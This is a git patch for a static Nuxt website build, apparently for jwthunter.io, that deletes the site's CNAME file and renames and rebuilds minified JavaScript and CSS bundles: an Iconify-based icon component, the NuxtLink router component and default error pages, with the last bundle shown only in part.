From 1160abe952f81d1380b3ec3c694dc2851e4c94a2 Mon Sep 17 00:00:00 2001 From: Tris0n Date: Thu, 1 Aug 2024 02:52:16 -0300 Subject: [PATCH] Updates --- 200.html | 16 ++++++------ 404.html | 16 ++++++------ CNAME | 1 - assets/BKqHqZeU.js => _nuxt/Bh2P62G0.js | 2 +- assets/CbFFTbVT.js => _nuxt/C5pXJF1b.js | 2 +- {assets => _nuxt}/CAZilBRX.js | 0 assets/DbmJfLAj.js => _nuxt/CyfqV1ve.js | 2 +- assets/CBF0Sooc.js => _nuxt/DM1k_2ZE.js | 2 +- assets/D6J_H2_Z.js => _nuxt/Db-QFXKK.js | 18 ++++++------- assets/oxvGAWOn.js => _nuxt/DjTWdmij.js | 2 +- assets/CK1nJsmy.js => _nuxt/DmYen4dP.js | 10 +++---- _nuxt/Icon.C0RCDowd.css | 1 + _nuxt/IconCSS.CegiiJ6j.css | 1 + _nuxt/builds/latest.json | 1 + .../fcfb490a-2b03-4588-b7b7-c7ebfc74b7f6.json | 1 + {assets => _nuxt}/entry.DTY1DMRs.css | 0 {assets => _nuxt}/error-404.Cs7Z0ZwI.css | 0 {assets => _nuxt}/error-500.BY691cIp.css | 0 _payload.json | 2 +- assets/Icon.Cuzu67LG.css | 1 - assets/IconCSS.DlI1Mekx.css | 1 - assets/builds/latest.json | 1 - .../decf9c1d-f18d-4f1c-8324-e63822d8ce43.json | 1 - index.html | 26 +++++++++---------- 24 files changed, 53 insertions(+), 54 deletions(-) delete mode 100644 CNAME rename assets/BKqHqZeU.js => _nuxt/Bh2P62G0.js (66%) rename assets/CbFFTbVT.js => _nuxt/C5pXJF1b.js (97%) rename {assets => _nuxt}/CAZilBRX.js (100%) rename assets/DbmJfLAj.js => _nuxt/CyfqV1ve.js (95%) rename assets/CBF0Sooc.js => _nuxt/DM1k_2ZE.js (98%) rename assets/D6J_H2_Z.js => _nuxt/Db-QFXKK.js (72%) rename assets/oxvGAWOn.js => _nuxt/DjTWdmij.js (90%) rename assets/CK1nJsmy.js => _nuxt/DmYen4dP.js (99%) create mode 100644 _nuxt/Icon.C0RCDowd.css create mode 100644 _nuxt/IconCSS.CegiiJ6j.css create mode 100644 _nuxt/builds/latest.json create mode 100644 _nuxt/builds/meta/fcfb490a-2b03-4588-b7b7-c7ebfc74b7f6.json rename {assets => _nuxt}/entry.DTY1DMRs.css (100%) rename {assets => _nuxt}/error-404.Cs7Z0ZwI.css (100%) rename {assets => _nuxt}/error-500.BY691cIp.css (100%) delete mode 100644 assets/Icon.Cuzu67LG.css delete mode 100644 assets/IconCSS.DlI1Mekx.css delete mode 100644 assets/builds/latest.json delete mode 100644 assets/builds/meta/decf9c1d-f18d-4f1c-8324-e63822d8ce43.json diff --git a/200.html b/200.html index 768d701..4dec4b2 100644 --- a/200.html +++ b/200.html @@ -1,12 +1,12 @@ - + - - - - - -
- \ No newline at end of file + + + + + +
+ \ No newline at end of file diff --git a/404.html b/404.html index 768d701..4dec4b2 100644 --- a/404.html +++ b/404.html @@ -1,12 +1,12 @@ - + - - - - - -
- \ No newline at end of file + + + + + +
+ \ No newline at end of file diff --git a/CNAME b/CNAME deleted file mode 100644 index bc14cc7..0000000 --- a/CNAME +++ /dev/null @@ -1 +0,0 @@ -jwthunter.io \ No newline at end of file diff --git a/assets/BKqHqZeU.js b/_nuxt/Bh2P62G0.js similarity index 66% rename from assets/BKqHqZeU.js rename to _nuxt/Bh2P62G0.js index 5effd8c..c876a90 100644 --- a/assets/BKqHqZeU.js +++ b/_nuxt/Bh2P62G0.js @@ -1 +1 @@ -import{q as m,ap as f,v as I,l as r,o as v,c as x,$ as d,_}from"./CK1nJsmy.js";import{r as S}from"./CAZilBRX.js";const y=m({__name:"IconCSS",props:{name:{type:String,required:!0},size:{type:String,default:""}},setup(u){f(e=>({"51392f73":p.value}));const t=I(),o=u,l=r(()=>{var e,n;return(n=(e=t.nuxtIcon)==null?void 0:e.aliases)!=null&&n[o.name]?t.nuxtIcon.aliases[o.name]:o.name}),c=r(()=>S(l.value)),p=r(()=>{var s,a;const e=(a=(s=t.nuxtIcon)==null?void 0:s.iconifyApiOptions)==null?void 0:a.url;if(e)try{new URL(e)}catch{console.warn("Nuxt IconCSS: Invalid custom Iconify API URL");return}return`url('${e||"https://api.iconify.design"}/${c.value.prefix}/${c.value.name}.svg')`}),i=r(()=>{var n,s,a;if(!o.size&&typeof((n=t.nuxtIcon)==null?void 0:n.size)=="boolean"&&!((s=t.nuxtIcon)!=null&&s.size))return;const e=o.size||((a=t.nuxtIcon)==null?void 0:a.size)||"1em";return String(Number(e))===e?`${e}px`:e});return(e,n)=>(v(),x("span",{style:d({width:i.value,height:i.value})},null,4))}}),h=_(y,[["__scopeId","data-v-51e6c86a"]]);export{h as default}; +import{q as m,ap as f,v as I,l as r,o as d,c as v,$ as x,_}from"./DmYen4dP.js";import{r as S}from"./CAZilBRX.js";const y=m({__name:"IconCSS",props:{name:{type:String,required:!0},size:{type:String,default:""}},setup(u){f(e=>({"4bd398a3":p.value}));const t=I(),o=u,l=r(()=>{var e,n;return(n=(e=t.nuxtIcon)==null?void 0:e.aliases)!=null&&n[o.name]?t.nuxtIcon.aliases[o.name]:o.name}),c=r(()=>S(l.value)),p=r(()=>{var s,a;const e=(a=(s=t.nuxtIcon)==null?void 0:s.iconifyApiOptions)==null?void 0:a.url;if(e)try{new URL(e)}catch{console.warn("Nuxt IconCSS: Invalid custom Iconify API URL");return}return`url('${e||"https://api.iconify.design"}/${c.value.prefix}/${c.value.name}.svg')`}),i=r(()=>{var n,s,a;if(!o.size&&typeof((n=t.nuxtIcon)==null?void 0:n.size)=="boolean"&&!((s=t.nuxtIcon)!=null&&s.size))return;const e=o.size||((a=t.nuxtIcon)==null?void 0:a.size)||"1em";return String(Number(e))===e?`${e}px`:e});return(e,n)=>(d(),v("span",{style:x({width:i.value,height:i.value})},null,4))}}),h=_(y,[["__scopeId","data-v-660d92e5"]]);export{h as default}; diff --git a/assets/CbFFTbVT.js b/_nuxt/C5pXJF1b.js similarity index 97% rename from assets/CbFFTbVT.js rename to _nuxt/C5pXJF1b.js index b5e4eba..a64037e 100644 --- a/assets/CbFFTbVT.js +++ b/_nuxt/C5pXJF1b.js @@ -1 +1 @@ -import{_ as a,u as o,o as s,c as i,a as e,t as r,p as u,e as l}from"./CK1nJsmy.js";const c=t=>(u("data-v-f271b975"),t=t(),l(),t),d={class:"font-sans antialiased bg-white dark:bg-black text-black dark:text-white grid min-h-screen place-content-center overflow-hidden"},p=c(()=>e("div",{class:"fixed -bottom-1/2 left-0 right-0 h-1/2 spotlight"},null,-1)),h={class:"max-w-520px text-center"},b=["textContent"],g=["textContent"],f={__name:"error-500",props:{appName:{type:String,default:"Nuxt"},version:{type:String,default:""},statusCode:{type:Number,default:500},statusMessage:{type:String,default:"Server error"},description:{type:String,default:"This page is temporarily unavailable."}},setup(t){const n=t;return o({title:`${n.statusCode} - ${n.statusMessage} | ${n.appName}`,script:[],style:[{children:'*,:before,:after{box-sizing:border-box;border-width:0;border-style:solid;border-color:var(--un-default-border-color, #e5e7eb)}:before,:after{--un-content:""}html{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;tab-size:4;font-family:ui-sans-serif,system-ui,sans-serif,"Apple Color Emoji","Segoe UI Emoji",Segoe UI Symbol,"Noto Color Emoji";font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}h1{font-size:inherit;font-weight:inherit}h1,p{margin:0}*,:before,:after{--un-rotate:0;--un-rotate-x:0;--un-rotate-y:0;--un-rotate-z:0;--un-scale-x:1;--un-scale-y:1;--un-scale-z:1;--un-skew-x:0;--un-skew-y:0;--un-translate-x:0;--un-translate-y:0;--un-translate-z:0;--un-pan-x: ;--un-pan-y: ;--un-pinch-zoom: ;--un-scroll-snap-strictness:proximity;--un-ordinal: ;--un-slashed-zero: ;--un-numeric-figure: ;--un-numeric-spacing: ;--un-numeric-fraction: ;--un-border-spacing-x:0;--un-border-spacing-y:0;--un-ring-offset-shadow:0 0 rgb(0 0 0 / 0);--un-ring-shadow:0 0 rgb(0 0 0 / 0);--un-shadow-inset: ;--un-shadow:0 0 rgb(0 0 0 / 0);--un-ring-inset: ;--un-ring-offset-width:0px;--un-ring-offset-color:#fff;--un-ring-width:0px;--un-ring-color:rgb(147 197 253 / .5);--un-blur: ;--un-brightness: ;--un-contrast: ;--un-drop-shadow: ;--un-grayscale: ;--un-hue-rotate: ;--un-invert: ;--un-saturate: ;--un-sepia: ;--un-backdrop-blur: ;--un-backdrop-brightness: ;--un-backdrop-contrast: ;--un-backdrop-grayscale: ;--un-backdrop-hue-rotate: ;--un-backdrop-invert: ;--un-backdrop-opacity: ;--un-backdrop-saturate: ;--un-backdrop-sepia: }'}]}),(m,x)=>(s(),i("div",d,[p,e("div",h,[e("h1",{class:"text-8xl sm:text-10xl font-medium mb-8",textContent:r(t.statusCode)},null,8,b),e("p",{class:"text-xl px-8 sm:px-0 sm:text-4xl font-light mb-16 leading-tight",textContent:r(t.description)},null,8,g)])]))}},k=a(f,[["__scopeId","data-v-f271b975"]]);export{k as default}; +import{_ as a,u as o,o as s,c as i,a as e,t as r,p as u,e as l}from"./DmYen4dP.js";const c=t=>(u("data-v-f271b975"),t=t(),l(),t),d={class:"font-sans antialiased bg-white dark:bg-black text-black dark:text-white grid min-h-screen place-content-center overflow-hidden"},p=c(()=>e("div",{class:"fixed -bottom-1/2 left-0 right-0 h-1/2 spotlight"},null,-1)),h={class:"max-w-520px text-center"},b=["textContent"],g=["textContent"],f={__name:"error-500",props:{appName:{type:String,default:"Nuxt"},version:{type:String,default:""},statusCode:{type:Number,default:500},statusMessage:{type:String,default:"Server error"},description:{type:String,default:"This page is temporarily unavailable."}},setup(t){const n=t;return o({title:`${n.statusCode} - ${n.statusMessage} | ${n.appName}`,script:[],style:[{children:'*,:before,:after{box-sizing:border-box;border-width:0;border-style:solid;border-color:var(--un-default-border-color, #e5e7eb)}:before,:after{--un-content:""}html{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;tab-size:4;font-family:ui-sans-serif,system-ui,sans-serif,"Apple Color Emoji","Segoe UI Emoji",Segoe UI Symbol,"Noto Color Emoji";font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}h1{font-size:inherit;font-weight:inherit}h1,p{margin:0}*,:before,:after{--un-rotate:0;--un-rotate-x:0;--un-rotate-y:0;--un-rotate-z:0;--un-scale-x:1;--un-scale-y:1;--un-scale-z:1;--un-skew-x:0;--un-skew-y:0;--un-translate-x:0;--un-translate-y:0;--un-translate-z:0;--un-pan-x: ;--un-pan-y: ;--un-pinch-zoom: ;--un-scroll-snap-strictness:proximity;--un-ordinal: ;--un-slashed-zero: ;--un-numeric-figure: ;--un-numeric-spacing: ;--un-numeric-fraction: ;--un-border-spacing-x:0;--un-border-spacing-y:0;--un-ring-offset-shadow:0 0 rgb(0 0 0 / 0);--un-ring-shadow:0 0 rgb(0 0 0 / 0);--un-shadow-inset: ;--un-shadow:0 0 rgb(0 0 0 / 0);--un-ring-inset: ;--un-ring-offset-width:0px;--un-ring-offset-color:#fff;--un-ring-width:0px;--un-ring-color:rgb(147 197 253 / .5);--un-blur: ;--un-brightness: ;--un-contrast: ;--un-drop-shadow: ;--un-grayscale: ;--un-hue-rotate: ;--un-invert: ;--un-saturate: ;--un-sepia: ;--un-backdrop-blur: ;--un-backdrop-brightness: ;--un-backdrop-contrast: ;--un-backdrop-grayscale: ;--un-backdrop-hue-rotate: ;--un-backdrop-invert: ;--un-backdrop-opacity: ;--un-backdrop-saturate: ;--un-backdrop-sepia: }'}]}),(m,x)=>(s(),i("div",d,[p,e("div",h,[e("h1",{class:"text-8xl sm:text-10xl font-medium mb-8",textContent:r(t.statusCode)},null,8,b),e("p",{class:"text-xl px-8 sm:px-0 sm:text-4xl font-light mb-16 leading-tight",textContent:r(t.description)},null,8,g)])]))}},k=a(f,[["__scopeId","data-v-f271b975"]]);export{k as default}; diff --git a/assets/CAZilBRX.js b/_nuxt/CAZilBRX.js similarity index 100% rename from assets/CAZilBRX.js rename to _nuxt/CAZilBRX.js diff --git a/assets/DbmJfLAj.js b/_nuxt/CyfqV1ve.js similarity index 95% rename from assets/DbmJfLAj.js rename to _nuxt/CyfqV1ve.js index d269e76..088ee81 100644 --- a/assets/DbmJfLAj.js +++ b/_nuxt/CyfqV1ve.js @@ -1 +1 @@ -import{_ as a}from"./CBF0Sooc.js";import{_ as s,u as i,o as u,c,a as e,t as o,b as d,w as l,d as p,p as f,e as h}from"./CK1nJsmy.js";const g=t=>(f("data-v-71447f4e"),t=t(),h(),t),b={class:"font-sans antialiased bg-white dark:bg-black text-black dark:text-white grid min-h-screen place-content-center overflow-hidden"},x=g(()=>e("div",{class:"fixed left-0 right-0 spotlight z-10"},null,-1)),m={class:"max-w-520px text-center z-20"},y=["textContent"],_=["textContent"],k={class:"w-full flex items-center justify-center"},w={__name:"error-404",props:{appName:{type:String,default:"Nuxt"},version:{type:String,default:""},statusCode:{type:Number,default:404},statusMessage:{type:String,default:"Not Found"},description:{type:String,default:"Sorry, the page you are looking for could not be found."},backHome:{type:String,default:"Go back home"}},setup(t){const n=t;return i({title:`${n.statusCode} - ${n.statusMessage} | ${n.appName}`,script:[],style:[{children:'*,:before,:after{box-sizing:border-box;border-width:0;border-style:solid;border-color:var(--un-default-border-color, #e5e7eb)}:before,:after{--un-content:""}html{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;tab-size:4;font-family:ui-sans-serif,system-ui,sans-serif,"Apple Color Emoji","Segoe UI Emoji",Segoe UI Symbol,"Noto Color Emoji";font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}h1{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}h1,p{margin:0}*,:before,:after{--un-rotate:0;--un-rotate-x:0;--un-rotate-y:0;--un-rotate-z:0;--un-scale-x:1;--un-scale-y:1;--un-scale-z:1;--un-skew-x:0;--un-skew-y:0;--un-translate-x:0;--un-translate-y:0;--un-translate-z:0;--un-pan-x: ;--un-pan-y: ;--un-pinch-zoom: ;--un-scroll-snap-strictness:proximity;--un-ordinal: ;--un-slashed-zero: ;--un-numeric-figure: ;--un-numeric-spacing: ;--un-numeric-fraction: ;--un-border-spacing-x:0;--un-border-spacing-y:0;--un-ring-offset-shadow:0 0 rgb(0 0 0 / 0);--un-ring-shadow:0 0 rgb(0 0 0 / 0);--un-shadow-inset: ;--un-shadow:0 0 rgb(0 0 0 / 0);--un-ring-inset: ;--un-ring-offset-width:0px;--un-ring-offset-color:#fff;--un-ring-width:0px;--un-ring-color:rgb(147 197 253 / .5);--un-blur: ;--un-brightness: ;--un-contrast: ;--un-drop-shadow: ;--un-grayscale: ;--un-hue-rotate: ;--un-invert: ;--un-saturate: ;--un-sepia: ;--un-backdrop-blur: ;--un-backdrop-brightness: ;--un-backdrop-contrast: ;--un-backdrop-grayscale: ;--un-backdrop-hue-rotate: ;--un-backdrop-invert: ;--un-backdrop-opacity: ;--un-backdrop-saturate: ;--un-backdrop-sepia: }'}]}),(z,S)=>{const r=a;return u(),c("div",b,[x,e("div",m,[e("h1",{class:"text-8xl sm:text-10xl font-medium mb-8",textContent:o(t.statusCode)},null,8,y),e("p",{class:"text-xl px-8 sm:px-0 sm:text-4xl font-light mb-16 leading-tight",textContent:o(t.description)},null,8,_),e("div",k,[d(r,{to:"/",class:"gradient-border text-md sm:text-xl py-2 px-4 sm:py-3 sm:px-6 cursor-pointer"},{default:l(()=>[p(o(t.backHome),1)]),_:1})])])])}}},N=s(w,[["__scopeId","data-v-71447f4e"]]);export{N as default}; +import{_ as a}from"./DM1k_2ZE.js";import{_ as s,u as i,o as u,c,a as e,t as o,b as d,w as l,d as p,p as f,e as h}from"./DmYen4dP.js";const g=t=>(f("data-v-71447f4e"),t=t(),h(),t),b={class:"font-sans antialiased bg-white dark:bg-black text-black dark:text-white grid min-h-screen place-content-center overflow-hidden"},x=g(()=>e("div",{class:"fixed left-0 right-0 spotlight z-10"},null,-1)),m={class:"max-w-520px text-center z-20"},y=["textContent"],_=["textContent"],k={class:"w-full flex items-center justify-center"},w={__name:"error-404",props:{appName:{type:String,default:"Nuxt"},version:{type:String,default:""},statusCode:{type:Number,default:404},statusMessage:{type:String,default:"Not Found"},description:{type:String,default:"Sorry, the page you are looking for could not be found."},backHome:{type:String,default:"Go back home"}},setup(t){const n=t;return i({title:`${n.statusCode} - ${n.statusMessage} | ${n.appName}`,script:[],style:[{children:'*,:before,:after{box-sizing:border-box;border-width:0;border-style:solid;border-color:var(--un-default-border-color, #e5e7eb)}:before,:after{--un-content:""}html{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;tab-size:4;font-family:ui-sans-serif,system-ui,sans-serif,"Apple Color Emoji","Segoe UI Emoji",Segoe UI Symbol,"Noto Color Emoji";font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}h1{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}h1,p{margin:0}*,:before,:after{--un-rotate:0;--un-rotate-x:0;--un-rotate-y:0;--un-rotate-z:0;--un-scale-x:1;--un-scale-y:1;--un-scale-z:1;--un-skew-x:0;--un-skew-y:0;--un-translate-x:0;--un-translate-y:0;--un-translate-z:0;--un-pan-x: ;--un-pan-y: ;--un-pinch-zoom: ;--un-scroll-snap-strictness:proximity;--un-ordinal: ;--un-slashed-zero: ;--un-numeric-figure: ;--un-numeric-spacing: ;--un-numeric-fraction: ;--un-border-spacing-x:0;--un-border-spacing-y:0;--un-ring-offset-shadow:0 0 rgb(0 0 0 / 0);--un-ring-shadow:0 0 rgb(0 0 0 / 0);--un-shadow-inset: ;--un-shadow:0 0 rgb(0 0 0 / 0);--un-ring-inset: ;--un-ring-offset-width:0px;--un-ring-offset-color:#fff;--un-ring-width:0px;--un-ring-color:rgb(147 197 253 / .5);--un-blur: ;--un-brightness: ;--un-contrast: ;--un-drop-shadow: ;--un-grayscale: ;--un-hue-rotate: ;--un-invert: ;--un-saturate: ;--un-sepia: ;--un-backdrop-blur: ;--un-backdrop-brightness: ;--un-backdrop-contrast: ;--un-backdrop-grayscale: ;--un-backdrop-hue-rotate: ;--un-backdrop-invert: ;--un-backdrop-opacity: ;--un-backdrop-saturate: ;--un-backdrop-sepia: }'}]}),(z,S)=>{const r=a;return u(),c("div",b,[x,e("div",m,[e("h1",{class:"text-8xl sm:text-10xl font-medium mb-8",textContent:o(t.statusCode)},null,8,y),e("p",{class:"text-xl px-8 sm:px-0 sm:text-4xl font-light mb-16 leading-tight",textContent:o(t.description)},null,8,_),e("div",k,[d(r,{to:"/",class:"gradient-border text-md sm:text-xl py-2 px-4 sm:py-3 sm:px-6 cursor-pointer"},{default:l(()=>[p(o(t.backHome),1)]),_:1})])])])}}},N=s(w,[["__scopeId","data-v-71447f4e"]]);export{N as default}; diff --git a/assets/CBF0Sooc.js b/_nuxt/DM1k_2ZE.js similarity index 98% rename from assets/CBF0Sooc.js rename to _nuxt/DM1k_2ZE.js index 7820721..607522a 100644 --- a/assets/CBF0Sooc.js +++ b/_nuxt/DM1k_2ZE.js @@ -1 +1 @@ -import{ab as _,q as B,l as b,ac as q,r as P,P as w,ad as L,ae as N,af as T,ag as j,R as C,X as U,ah as I,ai as O,aj as V,ak as D,al as E,f as R,am as F,an as H,ao as z}from"./CK1nJsmy.js";async function k(t,r=_()){const{path:s,matched:e}=r.resolve(t);if(!e.length||(r._routePreloaded||(r._routePreloaded=new Set),r._routePreloaded.has(s)))return;const n=r._preloadPromises=r._preloadPromises||[];if(n.length>4)return Promise.all(n).then(()=>k(t,r));r._routePreloaded.add(s);const i=e.map(u=>{var a;return(a=u.components)==null?void 0:a.default}).filter(u=>typeof u=="function");for(const u of i){const a=Promise.resolve(u()).catch(()=>{}).finally(()=>n.splice(n.indexOf(a)));n.push(a)}await Promise.all(n)}const M=(...t)=>t.find(r=>r!==void 0);function $(t){const r=t.componentName||"NuxtLink";function s(e,n){if(!e||t.trailingSlash!=="append"&&t.trailingSlash!=="remove")return e;if(typeof e=="string")return S(e,t.trailingSlash);const i="path"in e&&e.path!==void 0?e.path:n(e).path;return{...e,name:void 0,path:S(i,t.trailingSlash)}}return B({name:r,props:{to:{type:[String,Object],default:void 0,required:!1},href:{type:[String,Object],default:void 0,required:!1},target:{type:String,default:void 0,required:!1},rel:{type:String,default:void 0,required:!1},noRel:{type:Boolean,default:void 0,required:!1},prefetch:{type:Boolean,default:void 0,required:!1},noPrefetch:{type:Boolean,default:void 0,required:!1},activeClass:{type:String,default:void 0,required:!1},exactActiveClass:{type:String,default:void 0,required:!1},prefetchedClass:{type:String,default:void 0,required:!1},replace:{type:Boolean,default:void 0,required:!1},ariaCurrentValue:{type:String,default:void 0,required:!1},external:{type:Boolean,default:void 0,required:!1},custom:{type:Boolean,default:void 0,required:!1}},setup(e,{slots:n}){const i=_(),u=E(),a=b(()=>{const l=e.to||e.href||"";return s(l,i.resolve)}),f=b(()=>typeof a.value=="string"&&q(a.value,{acceptRelative:!0})),g=b(()=>e.target&&e.target!=="_self"),p=b(()=>e.external||g.value?!0:typeof a.value=="object"?!1:a.value===""||f.value),x=P(!1),v=P(null),A=l=>{var d;v.value=e.custom?(d=l==null?void 0:l.$el)==null?void 0:d.nextElementSibling:l==null?void 0:l.$el};if(e.prefetch!==!1&&e.noPrefetch!==!0&&e.target!=="_blank"&&!W()){const d=R();let h,o=null;w(()=>{const y=Q();L(()=>{h=N(()=>{var c;(c=v==null?void 0:v.value)!=null&&c.tagName&&(o=y.observe(v.value,async()=>{o==null||o(),o=null;const m=typeof a.value=="string"?a.value:i.resolve(a.value).fullPath;await Promise.all([d.hooks.callHook("link:prefetch",m).catch(()=>{}),!p.value&&k(a.value,i).catch(()=>{})]),x.value=!0}))})})}),T(()=>{h&&j(h),o==null||o(),o=null})}return()=>{var o,y;if(!p.value){const c={ref:A,to:a.value,activeClass:e.activeClass||t.activeClass,exactActiveClass:e.exactActiveClass||t.exactActiveClass,replace:e.replace,ariaCurrentValue:e.ariaCurrentValue,custom:e.custom};return e.custom||(x.value&&(c.class=e.prefetchedClass||t.prefetchedClass),c.rel=e.rel||void 0),C(U("RouterLink"),c,n.default)}const l=typeof a.value=="object"?((o=i.resolve(a.value))==null?void 0:o.href)??null:a.value&&!e.external&&!f.value?s(I(u.app.baseURL,a.value),i.resolve):a.value||null,d=e.target||null,h=M(e.noRel?"":e.rel,t.externalRelAttribute,f.value||g.value?"noopener noreferrer":"")||null;if(e.custom){if(!n.default)return null;const c=()=>F(l,{replace:e.replace,external:e.external});return n.default({href:l,navigate:c,get route(){if(!l)return;const m=O(l);return{path:m.pathname,fullPath:m.pathname,get query(){return V(m.search)},hash:m.hash,params:{},name:void 0,matched:[],redirectedFrom:void 0,meta:{},href:l}},rel:h,target:d,isExternal:p.value,isActive:!1,isExactActive:!1})}return C("a",{ref:v,href:l,rel:h,target:d},(y=n.default)==null?void 0:y.call(n))}}})}const G=$(D);function S(t,r){const s=r==="append"?H:z;return q(t)&&!t.startsWith("http")?t:s(t,!0)}function Q(){const t=R();if(t._observer)return t._observer;let r=null;const s=new Map,e=(i,u)=>(r||(r=new IntersectionObserver(a=>{for(const f of a){const g=s.get(f.target);(f.isIntersecting||f.intersectionRatio>0)&&g&&g()}})),s.set(i,u),r.observe(i),()=>{s.delete(i),r.unobserve(i),s.size===0&&(r.disconnect(),r=null)});return t._observer={observe:e}}function W(){const t=navigator.connection;return!!(t&&(t.saveData||/2g/.test(t.effectiveType)))}export{G as _}; +import{ab as _,q as B,l as b,ac as q,r as P,P as w,ad as L,ae as N,af as T,ag as j,R as C,X as U,ah as I,ai as O,aj as V,ak as D,al as E,f as R,am as F,an as H,ao as z}from"./DmYen4dP.js";async function k(t,r=_()){const{path:s,matched:e}=r.resolve(t);if(!e.length||(r._routePreloaded||(r._routePreloaded=new Set),r._routePreloaded.has(s)))return;const n=r._preloadPromises=r._preloadPromises||[];if(n.length>4)return Promise.all(n).then(()=>k(t,r));r._routePreloaded.add(s);const i=e.map(u=>{var a;return(a=u.components)==null?void 0:a.default}).filter(u=>typeof u=="function");for(const u of i){const a=Promise.resolve(u()).catch(()=>{}).finally(()=>n.splice(n.indexOf(a)));n.push(a)}await Promise.all(n)}const M=(...t)=>t.find(r=>r!==void 0);function $(t){const r=t.componentName||"NuxtLink";function s(e,n){if(!e||t.trailingSlash!=="append"&&t.trailingSlash!=="remove")return e;if(typeof e=="string")return S(e,t.trailingSlash);const i="path"in e&&e.path!==void 0?e.path:n(e).path;return{...e,name:void 0,path:S(i,t.trailingSlash)}}return B({name:r,props:{to:{type:[String,Object],default:void 0,required:!1},href:{type:[String,Object],default:void 0,required:!1},target:{type:String,default:void 0,required:!1},rel:{type:String,default:void 0,required:!1},noRel:{type:Boolean,default:void 0,required:!1},prefetch:{type:Boolean,default:void 0,required:!1},noPrefetch:{type:Boolean,default:void 0,required:!1},activeClass:{type:String,default:void 0,required:!1},exactActiveClass:{type:String,default:void 0,required:!1},prefetchedClass:{type:String,default:void 0,required:!1},replace:{type:Boolean,default:void 0,required:!1},ariaCurrentValue:{type:String,default:void 0,required:!1},external:{type:Boolean,default:void 0,required:!1},custom:{type:Boolean,default:void 0,required:!1}},setup(e,{slots:n}){const i=_(),u=E(),a=b(()=>{const l=e.to||e.href||"";return s(l,i.resolve)}),f=b(()=>typeof a.value=="string"&&q(a.value,{acceptRelative:!0})),g=b(()=>e.target&&e.target!=="_self"),p=b(()=>e.external||g.value?!0:typeof a.value=="object"?!1:a.value===""||f.value),x=P(!1),v=P(null),A=l=>{var d;v.value=e.custom?(d=l==null?void 0:l.$el)==null?void 0:d.nextElementSibling:l==null?void 0:l.$el};if(e.prefetch!==!1&&e.noPrefetch!==!0&&e.target!=="_blank"&&!W()){const d=R();let h,o=null;w(()=>{const y=Q();L(()=>{h=N(()=>{var c;(c=v==null?void 0:v.value)!=null&&c.tagName&&(o=y.observe(v.value,async()=>{o==null||o(),o=null;const m=typeof a.value=="string"?a.value:i.resolve(a.value).fullPath;await Promise.all([d.hooks.callHook("link:prefetch",m).catch(()=>{}),!p.value&&k(a.value,i).catch(()=>{})]),x.value=!0}))})})}),T(()=>{h&&j(h),o==null||o(),o=null})}return()=>{var o,y;if(!p.value){const c={ref:A,to:a.value,activeClass:e.activeClass||t.activeClass,exactActiveClass:e.exactActiveClass||t.exactActiveClass,replace:e.replace,ariaCurrentValue:e.ariaCurrentValue,custom:e.custom};return e.custom||(x.value&&(c.class=e.prefetchedClass||t.prefetchedClass),c.rel=e.rel||void 0),C(U("RouterLink"),c,n.default)}const l=typeof a.value=="object"?((o=i.resolve(a.value))==null?void 0:o.href)??null:a.value&&!e.external&&!f.value?s(I(u.app.baseURL,a.value),i.resolve):a.value||null,d=e.target||null,h=M(e.noRel?"":e.rel,t.externalRelAttribute,f.value||g.value?"noopener noreferrer":"")||null;if(e.custom){if(!n.default)return null;const c=()=>F(l,{replace:e.replace,external:e.external});return n.default({href:l,navigate:c,get route(){if(!l)return;const m=O(l);return{path:m.pathname,fullPath:m.pathname,get query(){return V(m.search)},hash:m.hash,params:{},name:void 0,matched:[],redirectedFrom:void 0,meta:{},href:l}},rel:h,target:d,isExternal:p.value,isActive:!1,isExactActive:!1})}return C("a",{ref:v,href:l,rel:h,target:d},(y=n.default)==null?void 0:y.call(n))}}})}const G=$(D);function S(t,r){const s=r==="append"?H:z;return q(t)&&!t.startsWith("http")?t:s(t,!0)}function Q(){const t=R();if(t._observer)return t._observer;let r=null;const s=new Map,e=(i,u)=>(r||(r=new IntersectionObserver(a=>{for(const f of a){const g=s.get(f.target);(f.isIntersecting||f.intersectionRatio>0)&&g&&g()}})),s.set(i,u),r.observe(i),()=>{s.delete(i),r.unobserve(i),s.size===0&&(r.disconnect(),r=null)});return t._observer={observe:e}}function W(){const t=navigator.connection;return!!(t&&(t.saveData||/2g/.test(t.effectiveType)))}export{G as _}; diff --git a/assets/D6J_H2_Z.js b/_nuxt/Db-QFXKK.js similarity index 72% rename from assets/D6J_H2_Z.js rename to _nuxt/Db-QFXKK.js index 3e7437c..27b839a 100644 --- a/assets/D6J_H2_Z.js +++ b/_nuxt/Db-QFXKK.js @@ -1,21 +1,21 @@ -import{i as kt,f as tl,g as Qo,h as Z,j as Ea,r as re,s as es,k as Ct,l as q,m as rl,_ as Kr,o as G,c as oe,n as nl,q as xe,v as ts,x as Qe,y as ae,z as il,A as Hi,B as cn,C as nt,D as Nr,E as Cn,F as dt,G as Je,H as lr,I as $r,t as ct,J as Ce,K as at,L as bo,M as al,N as ni,O as hn,P as Rt,Q as rs,R as Lr,S as pn,T as bn,U as ot,V as Ye,W as ns,X as ol,w as et,b as he,a as ne,Y as sl,Z as fl,$ as ll,d as Jt,a0 as is,a1 as vo,a2 as mo,a3 as ul,a4 as dl,a5 as cl,a6 as as,a7 as hl,a8 as pl,a9 as Yn,aa as Vi}from"./CK1nJsmy.js";import bl from"./oxvGAWOn.js";import{_ as vl}from"./CBF0Sooc.js";import"./CAZilBRX.js";const go=Object.freeze({ignoreUnknown:!1,respectType:!1,respectFunctionNames:!1,respectFunctionProperties:!1,unorderedObjects:!0,unorderedArrays:!1,unorderedSets:!1,excludeKeys:void 0,excludeValues:void 0,replacer:void 0});function yo(e,t){t?t={...go,...t}:t=go;const r=os(t);return r.dispatch(e),r.toString()}const ml=Object.freeze(["prototype","__proto__","constructor"]);function os(e){let t="",r=new Map;const 